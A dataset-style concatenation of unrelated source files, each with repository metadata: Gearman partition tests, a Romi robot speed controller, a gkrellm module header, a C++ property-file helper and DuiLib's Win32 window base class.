gearman_client_set_server_option(client, test_literal_param("should fail"));
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt"));
// Test client as NULL
gearman_task_st *task= gearman_execute_by_partition(NULL,
test_literal_param("split_worker"),
test_literal_param(WORKER_FUNCTION_NAME),
NULL, 0, // unique
NULL,
&workload, 0);
test_null(task);
// Test no partition function
task= gearman_execute_by_partition(client,
NULL, 0,
NULL, 0,
NULL, 0, // unique
NULL,
&workload, 0);
test_null(task);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_basic(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
ASSERT_EQ(GEARMAN_SUCCESS,
gearman_client_echo(client, test_literal_param("this is mine")));
// This just hear to make it easier to trace when
// gearman_execute_partition() is called (look in the log to see the
// failed option setting.
gearman_client_set_server_option(client, test_literal_param("should fail"));
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt"));
gearman_task_st *task= gearman_execute_by_partition(client,
test_literal_param("split_worker"),
test_literal_param(WORKER_FUNCTION_NAME),
NULL, 0, // unique
NULL,
&workload, 0);
test_true(task);
ASSERT_EQ(GEARMAN_SUCCESS, gearman_task_return(task));
gearman_result_st *result= gearman_task_result(task);
test_truth(result);
const char *value= gearman_result_value(result);
test_truth(value);
ASSERT_EQ(18UL, gearman_result_size(result));
gearman_task_free(task);
gearman_client_task_free_all(client);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_workfail(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
const char *worker_function= (const char *)gearman_client_context(client);
ASSERT_EQ(GEARMAN_SUCCESS,
gearman_client_echo(client, test_literal_param("this is mine")));
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt mapper_fail"));
gearman_task_st *task= gearman_execute_by_partition(client,
test_literal_param("split_worker"),
gearman_string_param_cstr(worker_function),
NULL, 0, // unique
NULL,
&workload, 0);
test_true(task);
ASSERT_EQ(GEARMAN_WORK_FAIL, gearman_task_return(task));
gearman_task_free(task);
gearman_client_task_free_all(client);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_fail_in_reduction(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
const char *worker_function= (const char *)gearman_client_context(client);
ASSERT_EQ(gearman_client_echo(client, test_literal_param("this is mine")), GEARMAN_SUCCESS);
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt fail"));
gearman_task_st *task= gearman_execute_by_partition(client,
test_literal_param("split_worker"),
gearman_string_param_cstr(worker_function),
NULL, 0, // unique
NULL,
&workload, 0);
test_true(task);
ASSERT_EQ(GEARMAN_WORK_FAIL, gearman_task_return(task));
gearman_task_free(task);
gearman_client_task_free_all(client);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_use_as_function(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
ASSERT_EQ(gearman_client_echo(client, test_literal_param("this is mine")), GEARMAN_SUCCESS);
// This just hear to make it easier to trace when
// gearman_execute_partition() is called (look in the log to see the
// failed option setting.
gearman_client_set_server_option(client, test_literal_param("should fail"));
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt"));
gearman_task_st *task= gearman_execute(client,
test_literal_param("split_worker"),
NULL, 0, // unique
NULL,
&workload, 0);
test_true(task);
ASSERT_EQ(GEARMAN_SUCCESS, gearman_task_return(task));
gearman_result_st *result= gearman_task_result(task);
test_truth(result);
const char *value= gearman_result_value(result);
test_truth(value);
ASSERT_EQ(18UL, gearman_result_size(result));
gearman_task_free(task);
gearman_client_task_free_all(client);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_no_aggregate(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
gearman_argument_t workload= gearman_argument_make(0, 0, test_literal_param("this dog does not hunt"));
gearman_task_st *task= gearman_execute_by_partition(client,
test_literal_param(WORKER_FUNCTION_NAME),
test_literal_param("count"),
NULL, 0, // unique
NULL,
&workload, 0);
test_true(task);
ASSERT_EQ(GEARMAN_SUCCESS,
gearman_task_return(task));
ASSERT_EQ(GEARMAN_SUCCESS, gearman_task_return(task));
test_false(gearman_task_result(task));
gearman_task_free(task);
gearman_client_task_free_all(client);
return TEST_SUCCESS;
}
| [
"mcuadros@gmail.com"
] | mcuadros@gmail.com |
dc27e5cede44b6bb5150e5defbfb5364e9e65128 | 9ac6c1ff4ad21ec9a9d46c310e4df4e8d85bc133 | /src/Speed_controller.cpp | 90c41c739e1b43e28e30e3db28a7b4f5ae076859 | [] | no_license | ron5555/2002-lab4 | 93252c7c20127dff69ced5d912998165ca9ddb52 | 9d4a5684609c7991ec7a7c67474ccc8cb4901455 | refs/heads/master | 2023-01-12T20:11:08.641055 | 2020-11-19T18:04:17 | 2020-11-19T18:04:17 | 314,394,729 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,154 | cpp | #include <Romi32U4.h>
#include "Encoders.h"
#include "Speed_controller.h"
#include "Position_estimation.h"
Romi32U4Motors motors;
Encoder MagneticEncoder;
Position odometry;
void SpeedController::Init(void)
{
MagneticEncoder.Init();
odometry.Init();
}
void SpeedController::Run(float target_velocity_left, float target_velocity_right)
{
if(MagneticEncoder.UpdateEncoderCounts()){
float e_left = target_velocity_left - MagneticEncoder.ReadVelocityLeft();
float e_right = target_velocity_right - MagneticEncoder.ReadVelocityRight();
E_left += e_left;
E_right += e_right;
float u_left = Kp*e_left + Ki*E_left;
float u_right = Kp*e_right + Ki*E_right;
motors.setEfforts(u_left,u_right);
odometry.UpdatePose(target_velocity_left,target_velocity_right); //this is where your newly programmed function is/will be called
}
}
boolean SpeedController::Turn(int degree, int direction)
{
motors.setEfforts(0, 0);
int turns = counts*(degree/180.0); //assignment 1: convert degree into counts
int count_turn = MagneticEncoder.ReadEncoderCountLeft();
while(abs(abs(count_turn) - abs(MagneticEncoder.ReadEncoderCountLeft())) <= turns)
{
if(!direction) Run(50,-50);
else Run(-50,50);
}
motors.setEfforts(0, 0);
return 1;
}
boolean SpeedController::Straight(int target_velocity, int time) //in mm/s and s
{
motors.setEfforts(0, 0);
unsigned long now = millis();
while ((unsigned long)(millis() - now) <= time*1000){
Run(target_velocity,target_velocity);
}
motors.setEfforts(0, 0);
return 1;
}
boolean SpeedController::Curved(int target_velocity_left, int target_velocity_right, int time) //in mm/s and s
{
motors.setEfforts(0, 0);
unsigned long now = millis();
while ((unsigned long)(millis() - now) <= time*1000){
Run(target_velocity_left,target_velocity_right);
}
motors.setEfforts(0, 0);
return 1;
}
void SpeedController::Stop()
{
motors.setEfforts(0,0);
odometry.Stop();
} | [
"mnemitz@wpi.edu"
] | mnemitz@wpi.edu |
49d11349f682f99b62b77e1a35d05094fa1d1993 | 335c32329676d593473baaedd7d0f1dd2056b5a7 | /h/ProcessModule.hpp | 06168e3611dd2255a76f704a850fc2d1a4c6241c | [] | no_license | Julow/ft_gkrellm | 97a81c071a71faa4065f157433ac0e76dc5982c8 | 9825c5e60407421fca1ca5b7b8bf092bbeb2c5eb | refs/heads/master | 2021-01-19T17:10:42.354368 | 2015-04-19T18:20:02 | 2015-04-19T18:20:02 | 34,161,401 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,493 | hpp | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ProcessModule.hpp :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jaguillo <jaguillo@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2015/04/19 13:46:36 by jaguillo #+# #+# */
/* Updated: 2015/04/19 14:04:23 by jaguillo ### ########.fr */
/* */
/* ************************************************************************** */
#ifndef PROCESSMODULE_HPP
# define PROCESSMODULE_HPP
# include "ft_gk.h"
# include "IMonitorModule.hpp"
# include "IMonitorDisplay.hpp"
class ProcessModule : public IMonitorModule
{
public:
ProcessModule(Core *core);
virtual ~ProcessModule(void);
virtual const char *getName(void) const;
virtual int getHeight(void) const;
virtual void refresh(void);
virtual void display(IMonitorDisplay *display, int y);
protected:
Core *_core;
private:
ProcessModule(void);
ProcessModule(ProcessModule const &src);
ProcessModule &operator=(ProcessModule const &rhs);
};
#endif
| [
"juloo.dsi@gmail.com"
] | juloo.dsi@gmail.com |
c5532332fb19b1df22b352fd745bcf7d12e9115e | 7b18c61fe9187a54164c8fad2169edd98788e4cd | /ImFramework/ImProperty.h | e7f1f04164d18ac1c864e93e5a91d9f84ccd665a | [
"MIT"
] | permissive | CoreTrackProject/ImFramework | 3a05de142ed625f877d9f5d63fb1aec0e44a75a3 | 942aeb96de45ceeb0264c678dfe3b947e7a84347 | refs/heads/main | 2023-05-16T21:16:00.304099 | 2021-05-30T23:22:37 | 2021-05-30T23:22:37 | 329,359,523 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,763 | h | #pragma once
#include <string>
#include <map>
#include <fstream>
#include <algorithm>
class ImProperty {
public:
template<typename T>
static void SetValue(std::string property_name, T value) {
std::string entry = std::to_string(value);
ImProperty::removeComma(entry);
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
// key not found
ImProperty::config_data.emplace(property_name, std::to_string(value));
} else {
// key found
ImProperty::config_data[property_name] = std::to_string(value);
}
}
template<>
static void SetValue(std::string property_name, std::string value) {
ImProperty::removeComma(value);
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
// key not found
ImProperty::config_data.emplace(property_name, value);
} else {
// key found
ImProperty::config_data[property_name] = value;
}
}
template<>
static void SetValue(std::string property_name, bool value) {
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
// key not found
ImProperty::config_data.emplace(property_name, value ? "true" : "false");
}
else {
// key found
ImProperty::config_data[property_name] = value ? "true" : "false";
}
}
template<typename T>
static T GetValue(std::string property_name) {
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
return T();
} else {
return ImProperty::StringToType<T>(ImProperty::config_data[property_name]);
}
}
template<>
static std::string GetValue(std::string property_name) {
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
return "";
} else {
return ImProperty::config_data[property_name];
}
}
template<>
static bool GetValue(std::string property_name) {
if (ImProperty::config_data.find(property_name) == ImProperty::config_data.end()) {
return false;
}
else {
return ImProperty::config_data[property_name].compare("true") == 0;
}
}
static void Save(std::string file = "") {
std::string curr_file = "";
if (file.compare("") == 0) {
curr_file = ImProperty::config_file;
}
std::string output_str;
for (std::pair<std::string, std::string> entry : ImProperty::config_data) {
output_str.append(entry.first + "," + entry.second + "\n");
}
std::ofstream file_stream;
file_stream.open(curr_file, std::ios::out | std::ios::trunc);
file_stream.write(output_str.c_str(), output_str.size());
file_stream.close();
}
static void Load(std::string file) {
ImProperty::config_file = file + ".property";
std::ifstream file_stream(file);
std::map<std::string, std::string> tmp_config_data;
if (!file_stream.fail()) {
std::string key_str;
while (std::getline(file_stream, key_str, ',')) {
std::string value_str;
std::getline(file_stream, value_str, '\n');
tmp_config_data.emplace(key_str, value_str);
}
}
ImProperty::config_data = std::move(tmp_config_data);
}
static void Clear() {
ImProperty::config_data.clear();
}
private:
template<typename T>
static T StringToType(std::string value) {
if (std::is_same<T, int>::value) {
return std::stoi(value);
}
if (std::is_same<T, unsigned int>::value) {
return std::stoul(value);
}
if (std::is_same<T, float>::value) {
return std::stof(value);
}
if (std::is_same<T, double>::value) {
return std::stod(value);
}
if (std::is_same<T, bool>::value) {
return std::stoi(value);
}
return T();
}
static void removeComma(std::string& str) {
std::replace(str.begin(), str.end(), ',', '_');
}
private:
static std::map<std::string, std::string> config_data;
static std::string config_file;
}; | [
"dr.niete@gmail.com"
] | dr.niete@gmail.com |
f146cde9df0a14eaa1a1e3dfbb8361215b158438 | 7bd101aa6d4eaf873fb9813b78d0c7956669c6f0 | /PPTShell/DuiLib/Core/UIBase.cpp | eeeef11053b7995c654268e9f9fb498bf9446f42 | [] | no_license | useafter/PPTShell-1 | 3cf2dad609ac0adcdba0921aec587e7168ee91a0 | 16d9592e8fa2d219a513e9f8cfbaf7f7f3d3c296 | refs/heads/master | 2021-06-24T13:33:54.039140 | 2017-09-10T06:31:11 | 2017-09-10T06:35:10 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 14,877 | cpp | #include "StdAfx.h"
#ifdef _DEBUG
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#endif
namespace DuiLib {
/////////////////////////////////////////////////////////////////////////////////////
//
//
void UILIB_API DUI__Trace(LPCTSTR pstrFormat, ...)
{
#ifdef _DEBUG
TCHAR szBuffer[300] = { 0 };
va_list args;
va_start(args, pstrFormat);
::wvnsprintf(szBuffer, lengthof(szBuffer) - 2, pstrFormat, args);
_tcscat(szBuffer, _T("\n"));
va_end(args);
::OutputDebugString(szBuffer);
#endif
}
LPCTSTR DUI__TraceMsg(UINT uMsg)
{
#define MSGDEF(x) if(uMsg==x) return _T(#x)
MSGDEF(WM_SETCURSOR);
MSGDEF(WM_NCHITTEST);
MSGDEF(WM_NCPAINT);
MSGDEF(WM_PAINT);
MSGDEF(WM_ERASEBKGND);
MSGDEF(WM_NCMOUSEMOVE);
MSGDEF(WM_MOUSEMOVE);
MSGDEF(WM_MOUSELEAVE);
MSGDEF(WM_MOUSEHOVER);
MSGDEF(WM_NOTIFY);
MSGDEF(WM_COMMAND);
MSGDEF(WM_MEASUREITEM);
MSGDEF(WM_DRAWITEM);
MSGDEF(WM_LBUTTONDOWN);
MSGDEF(WM_LBUTTONUP);
MSGDEF(WM_LBUTTONDBLCLK);
MSGDEF(WM_RBUTTONDOWN);
MSGDEF(WM_RBUTTONUP);
MSGDEF(WM_RBUTTONDBLCLK);
MSGDEF(WM_SETFOCUS);
MSGDEF(WM_KILLFOCUS);
MSGDEF(WM_MOVE);
MSGDEF(WM_SIZE);
MSGDEF(WM_SIZING);
MSGDEF(WM_MOVING);
MSGDEF(WM_GETMINMAXINFO);
MSGDEF(WM_CAPTURECHANGED);
MSGDEF(WM_WINDOWPOSCHANGED);
MSGDEF(WM_WINDOWPOSCHANGING);
MSGDEF(WM_NCCALCSIZE);
MSGDEF(WM_NCCREATE);
MSGDEF(WM_NCDESTROY);
MSGDEF(WM_TIMER);
MSGDEF(WM_KEYDOWN);
MSGDEF(WM_KEYUP);
MSGDEF(WM_CHAR);
MSGDEF(WM_SYSKEYDOWN);
MSGDEF(WM_SYSKEYUP);
MSGDEF(WM_SYSCOMMAND);
MSGDEF(WM_SYSCHAR);
MSGDEF(WM_VSCROLL);
MSGDEF(WM_HSCROLL);
MSGDEF(WM_CHAR);
MSGDEF(WM_SHOWWINDOW);
MSGDEF(WM_PARENTNOTIFY);
MSGDEF(WM_CREATE);
MSGDEF(WM_NCACTIVATE);
MSGDEF(WM_ACTIVATE);
MSGDEF(WM_ACTIVATEAPP);
MSGDEF(WM_CLOSE);
MSGDEF(WM_DESTROY);
MSGDEF(WM_GETICON);
MSGDEF(WM_GETTEXT);
MSGDEF(WM_GETTEXTLENGTH);
static TCHAR szMsg[10];
::wsprintf(szMsg, _T("0x%04X"), uMsg);
return szMsg;
}
/////////////////////////////////////////////////////////////////////////////////////
//
//
//////////////////////////////////////////////////////////////////////////
//
DUI_BASE_BEGIN_MESSAGE_MAP(CNotifyPump)
DUI_END_MESSAGE_MAP()
static const DUI_MSGMAP_ENTRY* DuiFindMessageEntry(const DUI_MSGMAP_ENTRY* lpEntry,TNotifyUI& msg )
{
CDuiString sMsgType = msg.sType;
CDuiString sCtrlName = msg.pSender->GetName();
const DUI_MSGMAP_ENTRY* pMsgTypeEntry = NULL;
while (lpEntry->nSig != DuiSig_end)
{
if(lpEntry->sMsgType==sMsgType)
{
if(!lpEntry->sCtrlName.IsEmpty())
{
if(lpEntry->sCtrlName==sCtrlName)
{
return lpEntry;
}
}
else
{
pMsgTypeEntry = lpEntry;
}
}
lpEntry++;
}
return pMsgTypeEntry;
}
bool CNotifyPump::AddVirtualWnd(CDuiString strName,CNotifyPump* pObject)
{
if( m_VirtualWndMap.Find(strName) == NULL )
{
m_VirtualWndMap.Insert(strName.GetData(),(LPVOID)pObject);
return true;
}
return false;
}
bool CNotifyPump::RemoveVirtualWnd(CDuiString strName)
{
if( m_VirtualWndMap.Find(strName) != NULL )
{
m_VirtualWndMap.Remove(strName);
return true;
}
return false;
}
bool CNotifyPump::LoopDispatch(TNotifyUI& msg)
{
const DUI_MSGMAP_ENTRY* lpEntry = NULL;
const DUI_MSGMAP* pMessageMap = NULL;
#ifndef UILIB_STATIC
for(pMessageMap = GetMessageMap(); pMessageMap!=NULL; pMessageMap = (*pMessageMap->pfnGetBaseMap)())
#else
for(pMessageMap = GetMessageMap(); pMessageMap!=NULL; pMessageMap = pMessageMap->pBaseMap)
#endif
{
#ifndef UILIB_STATIC
ASSERT(pMessageMap != (*pMessageMap->pfnGetBaseMap)());
#else
ASSERT(pMessageMap != pMessageMap->pBaseMap);
#endif
if ((lpEntry = DuiFindMessageEntry(pMessageMap->lpEntries,msg)) != NULL)
{
goto LDispatch;
}
}
return false;
LDispatch:
union DuiMessageMapFunctions mmf;
mmf.pfn = lpEntry->pfn;
bool bRet = false;
int nSig;
nSig = lpEntry->nSig;
switch (nSig)
{
default:
ASSERT(FALSE);
break;
case DuiSig_lwl:
(this->*mmf.pfn_Notify_lwl)(msg.wParam,msg.lParam);
bRet = true;
break;
case DuiSig_vn:
(this->*mmf.pfn_Notify_vn)(msg);
bRet = true;
break;
}
return bRet;
}
void CNotifyPump::NotifyPump(TNotifyUI& msg)
{
///遍历虚拟窗口
if( !msg.sVirtualWnd.IsEmpty() ){
for( int i = 0; i< m_VirtualWndMap.GetSize(); i++ ) {
if( LPCTSTR key = m_VirtualWndMap.GetAt(i) ) {
if( _tcsicmp(key, msg.sVirtualWnd.GetData()) == 0 ){
CNotifyPump* pObject = static_cast<CNotifyPump*>(m_VirtualWndMap.Find(key, false));
if( pObject && pObject->LoopDispatch(msg) )
return;
}
}
}
}
///
//遍历主窗口
LoopDispatch( msg );
}
//////////////////////////////////////////////////////////////////////////
///
CWindowWnd::CWindowWnd() : m_hWnd(NULL), m_OldWndProc(::DefWindowProc), m_bSubclassed(false),m_bIsShown(false)
{
}
HWND CWindowWnd::GetHWND() const
{
return m_hWnd;
}
UINT CWindowWnd::GetClassStyle() const
{
return 0;
}
LPCTSTR CWindowWnd::GetSuperClassName() const
{
return NULL;
}
CWindowWnd::operator HWND() const
{
return m_hWnd;
}
HWND CWindowWnd::CreateDuiWindow( HWND hwndParent, LPCTSTR pstrWindowName,DWORD dwStyle /*=0*/, DWORD dwExStyle /*=0*/ )
{
return Create(hwndParent,pstrWindowName,dwStyle,dwExStyle,0,0,0,0,NULL);
}
HWND CWindowWnd::Create(HWND hwndParent, LPCTSTR pstrName, DWORD dwStyle, DWORD dwExStyle, const RECT rc, HMENU hMenu)
{
return Create(hwndParent, pstrName, dwStyle, dwExStyle, rc.left, rc.top, rc.right - rc.left, rc.bottom - rc.top, hMenu);
}
HWND CWindowWnd::Create(HWND hwndParent, LPCTSTR pstrName, DWORD dwStyle, DWORD dwExStyle, int x, int y, int cx, int cy, HMENU hMenu)
{
if( GetSuperClassName() != NULL && !RegisterSuperclass() ) return NULL;
if( GetSuperClassName() == NULL && !RegisterWindowClass() ) return NULL;
m_hWnd = ::CreateWindowEx(dwExStyle, GetWindowClassName(), pstrName, dwStyle, x, y, cx, cy, hwndParent, hMenu, CPaintManagerUI::GetInstance(), this);
ASSERT(m_hWnd!=NULL);
return m_hWnd;
}
HWND CWindowWnd::Subclass(HWND hWnd)
{
ASSERT(::IsWindow(hWnd));
ASSERT(m_hWnd==NULL);
m_OldWndProc = SubclassWindow(hWnd, __WndProc);
if( m_OldWndProc == NULL ) return NULL;
m_bSubclassed = true;
m_hWnd = hWnd;
::SetWindowLongPtr(hWnd, GWLP_USERDATA, reinterpret_cast<LPARAM>(this));
return m_hWnd;
}
void CWindowWnd::Unsubclass()
{
ASSERT(::IsWindow(m_hWnd));
if( !::IsWindow(m_hWnd) ) return;
if( !m_bSubclassed ) return;
SubclassWindow(m_hWnd, m_OldWndProc);
m_OldWndProc = ::DefWindowProc;
m_bSubclassed = false;
}
void CWindowWnd::ShowWindow(bool bShow /*= true*/, bool bTakeFocus /*= false*/)
{
ASSERT(::IsWindow(m_hWnd));
if( !::IsWindow(m_hWnd) ) return;
::ShowWindow(m_hWnd, bShow ? (bTakeFocus ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE) : SW_HIDE);
}
UINT CWindowWnd::ShowModal()
{
ASSERT(::IsWindow(m_hWnd));
UINT nRet = 0;
HWND hWndParent = GetWindowOwner(m_hWnd);
::ShowWindow(m_hWnd, SW_SHOWNORMAL);
::EnableWindow(hWndParent, FALSE);
/*::SetWindowPos(hWndParent,HWND_TOPMOST,-1,-1,-1,-1,SWP_NOMOVE|SWP_NOSIZE);
::SetForegroundWindow(hWndParent);*/
MSG msg = { 0 };
while( ::IsWindow(m_hWnd) && ::GetMessage(&msg, NULL, 0, 0) ) {
if( msg.message == WM_CLOSE && msg.hwnd == m_hWnd ) {
nRet = msg.wParam;
::SetWindowPos(hWndParent,HWND_NOTOPMOST,-1,-1,-1,-1,SWP_NOMOVE|SWP_NOSIZE);
::EnableWindow(hWndParent, TRUE);
::SetFocus(hWndParent);
}
if( !CPaintManagerUI::TranslateMessage(&msg) ) {
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
if( msg.message == WM_QUIT ) break;
}
::EnableWindow(hWndParent, TRUE);
::SetFocus(hWndParent);
if( msg.message == WM_QUIT ) ::PostQuitMessage(msg.wParam);
return nRet;
}
void CWindowWnd::Close(UINT nRet)
{
ASSERT(::IsWindow(m_hWnd));
if( !::IsWindow(m_hWnd) ) return;
PostMessage(WM_CLOSE, (WPARAM)nRet, 0L);
}
void CWindowWnd::CenterWindow()
{
ASSERT(::IsWindow(m_hWnd));
ASSERT((GetWindowStyle(m_hWnd)&WS_CHILD)==0);
RECT rcDlg = { 0 };
::GetWindowRect(m_hWnd, &rcDlg);
RECT rcArea = { 0 };
RECT rcCenter = { 0 };
HWND hWnd=*this;
HWND hWndParent = ::GetParent(m_hWnd);
HWND hWndCenter = ::GetWindowOwner(m_hWnd);
if (hWndCenter!=NULL)
hWnd=hWndCenter;
// 处理多显示器模式下屏幕居中
MONITORINFO oMonitor = {};
oMonitor.cbSize = sizeof(oMonitor);
::GetMonitorInfo(::MonitorFromWindow(hWnd, MONITOR_DEFAULTTONEAREST), &oMonitor);
rcArea = oMonitor.rcWork;
if( hWndCenter == NULL || IsIconic(hWndCenter))
rcCenter = rcArea;
else
::GetWindowRect(hWndCenter, &rcCenter);
int DlgWidth = rcDlg.right - rcDlg.left;
int DlgHeight = rcDlg.bottom - rcDlg.top;
// Find dialog's upper left based on rcCenter
int xLeft = (rcCenter.left + rcCenter.right) / 2 - DlgWidth / 2;
int yTop = (rcCenter.top + rcCenter.bottom) / 2 - DlgHeight / 2;
// The dialog is outside the screen, move it inside
if( xLeft < rcArea.left ) xLeft = rcArea.left;
else if( xLeft + DlgWidth > rcArea.right ) xLeft = rcArea.right - DlgWidth;
if( yTop < rcArea.top ) yTop = rcArea.top;
else if( yTop + DlgHeight > rcArea.bottom ) yTop = rcArea.bottom - DlgHeight;
::SetWindowPos(m_hWnd, NULL, xLeft, yTop, -1, -1, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
void CWindowWnd::SetIcon(UINT nRes)
{
HICON hIcon = (HICON)::LoadImage(CPaintManagerUI::GetInstance(), MAKEINTRESOURCE(nRes), IMAGE_ICON, ::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON), LR_DEFAULTCOLOR);
ASSERT(hIcon);
::SendMessage(m_hWnd, WM_SETICON, (WPARAM) TRUE, (LPARAM) hIcon);
hIcon = (HICON)::LoadImage(CPaintManagerUI::GetInstance(), MAKEINTRESOURCE(nRes), IMAGE_ICON, ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON), LR_DEFAULTCOLOR);
ASSERT(hIcon);
::SendMessage(m_hWnd, WM_SETICON, (WPARAM) FALSE, (LPARAM) hIcon);
}
bool CWindowWnd::RegisterWindowClass()
{
WNDCLASS wc = { 0 };
wc.style = GetClassStyle();
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hIcon = NULL;
wc.lpfnWndProc = CWindowWnd::__WndProc;
wc.hInstance = CPaintManagerUI::GetInstance();
wc.hCursor = ::LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = NULL;
wc.lpszMenuName = NULL;
wc.lpszClassName = GetWindowClassName();
ATOM ret = ::RegisterClass(&wc);
ASSERT(ret!=NULL || ::GetLastError()==ERROR_CLASS_ALREADY_EXISTS);
return ret != NULL || ::GetLastError() == ERROR_CLASS_ALREADY_EXISTS;
}
bool CWindowWnd::RegisterSuperclass()
{
// Get the class information from an existing
// window so we can subclass it later on...
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEX);
if( !::GetClassInfoEx(NULL, GetSuperClassName(), &wc) ) {
if( !::GetClassInfoEx(CPaintManagerUI::GetInstance(), GetSuperClassName(), &wc) ) {
ASSERT(!"Unable to locate window class");
return NULL;
}
}
m_OldWndProc = wc.lpfnWndProc;
wc.lpfnWndProc = CWindowWnd::__ControlProc;
wc.hInstance = CPaintManagerUI::GetInstance();
wc.lpszClassName = GetWindowClassName();
ATOM ret = ::RegisterClassEx(&wc);
ASSERT(ret!=NULL || ::GetLastError()==ERROR_CLASS_ALREADY_EXISTS);
return ret != NULL || ::GetLastError() == ERROR_CLASS_ALREADY_EXISTS;
}
LRESULT CALLBACK CWindowWnd::__WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
//lsj 临时修复 101PPT导致的duilib.dll __WndProc+0x34 处异常
__try
{
CWindowWnd* pThis = NULL;
if( uMsg == WM_NCCREATE ) {
if( lParam != NULL )
{
LPCREATESTRUCT lpcs = reinterpret_cast<LPCREATESTRUCT>(lParam);
pThis = static_cast<CWindowWnd*>(lpcs->lpCreateParams);
pThis->m_hWnd = hWnd;
::SetWindowLongPtr(hWnd, GWLP_USERDATA, reinterpret_cast<LPARAM>(pThis));
}
}
else {
pThis = reinterpret_cast<CWindowWnd*>(::GetWindowLongPtr(hWnd, GWLP_USERDATA));
if( uMsg == WM_NCDESTROY && pThis != NULL ) {
LRESULT lRes = ::CallWindowProc(pThis->m_OldWndProc, hWnd, uMsg, wParam, lParam);
::SetWindowLongPtr(pThis->m_hWnd, GWLP_USERDATA, 0L);
if( pThis->m_bSubclassed ) pThis->Unsubclass();
pThis->m_hWnd = NULL;
pThis->OnFinalMessage(hWnd);
return lRes;
}
}
if( pThis != NULL ) {
return pThis->HandleMessage(uMsg, wParam, lParam);
}
else {
return ::DefWindowProc(hWnd, uMsg, wParam, lParam);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return S_FALSE;
}
LRESULT CALLBACK CWindowWnd::__ControlProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CWindowWnd* pThis = NULL;
if( uMsg == WM_NCCREATE && lParam != NULL) {
LPCREATESTRUCT lpcs = reinterpret_cast<LPCREATESTRUCT>(lParam);
pThis = static_cast<CWindowWnd*>(lpcs->lpCreateParams);
::SetProp(hWnd, _T("WndX"), (HANDLE) pThis);
pThis->m_hWnd = hWnd;
}
else {
pThis = reinterpret_cast<CWindowWnd*>(::GetProp(hWnd, _T("WndX")));
if( uMsg == WM_NCDESTROY && pThis != NULL ) {
LRESULT lRes = ::CallWindowProc(pThis->m_OldWndProc, hWnd, uMsg, wParam, lParam);
if( pThis->m_bSubclassed ) pThis->Unsubclass();
::SetProp(hWnd, _T("WndX"), NULL);
pThis->m_hWnd = NULL;
pThis->OnFinalMessage(hWnd);
return lRes;
}
}
if( pThis != NULL ) {
return pThis->HandleMessage(uMsg, wParam, lParam);
}
else {
return ::DefWindowProc(hWnd, uMsg, wParam, lParam);
}
}
LRESULT CWindowWnd::SendMessage(UINT uMsg, WPARAM wParam /*= 0*/, LPARAM lParam /*= 0*/)
{
ASSERT(::IsWindow(m_hWnd));
return ::SendMessage(m_hWnd, uMsg, wParam, lParam);
}
LRESULT CWindowWnd::PostMessage(UINT uMsg, WPARAM wParam /*= 0*/, LPARAM lParam /*= 0*/)
{
ASSERT(::IsWindow(m_hWnd));
return ::PostMessage(m_hWnd, uMsg, wParam, lParam);
}
void CWindowWnd::ResizeClient(int cx /*= -1*/, int cy /*= -1*/)
{
ASSERT(::IsWindow(m_hWnd));
RECT rc = { 0 };
if( !::GetClientRect(m_hWnd, &rc) ) return;
if( cx != -1 ) rc.right = cx;
if( cy != -1 ) rc.bottom = cy;
if( !::AdjustWindowRectEx(&rc, GetWindowStyle(m_hWnd), (!(GetWindowStyle(m_hWnd) & WS_CHILD) && (::GetMenu(m_hWnd) != NULL)), GetWindowExStyle(m_hWnd)) ) return;
::SetWindowPos(m_hWnd, NULL, 0, 0, rc.right - rc.left, rc.bottom - rc.top, SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
LRESULT CWindowWnd::HandleMessage(UINT uMsg, WPARAM wParam, LPARAM lParam)
{
return ::CallWindowProc(m_OldWndProc, m_hWnd, uMsg, wParam, lParam);
}
void CWindowWnd::OnFinalMessage(HWND /*hWnd*/)
{
}
void CWindowWnd::OnShown()
{
}
} // namespace DuiLib
| [
"794549193@qq.com"
] | 794549193@qq.com |
